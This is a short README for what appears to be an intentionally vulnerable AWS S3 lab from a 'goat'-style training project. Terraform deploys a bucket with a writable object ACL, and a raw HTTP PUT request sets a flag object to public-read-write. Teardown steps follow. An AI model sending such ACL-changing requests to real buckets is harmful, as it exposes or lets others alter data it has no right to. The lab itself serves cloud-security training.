English | 中文
This is a script that can help you quickly build a bucket object ACL reading and writing scenario
Although you may not encounter it in a real environment, have fun playing
cd /TerraformGoat/aws/s3/object_acl_writable/Configure AWS Access Credentials
aws configureYou can see the access key in the AWS [Console --> Security Credentials]
terraform init
terraform applyAfter typing yes, the scene will be built automatically and quickly
access flag.txt
hxsecxxxxx.s3.us-east-1.amazonaws.com/flag.txtmodify object acl
PUT /flag.txt?acl HTTP/1.1
Host: hxsecxxxxx.s3.eu-west-1.amazonaws.com
x-amz-acl: public-read-write
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1get flag
terraform destroyenter yes


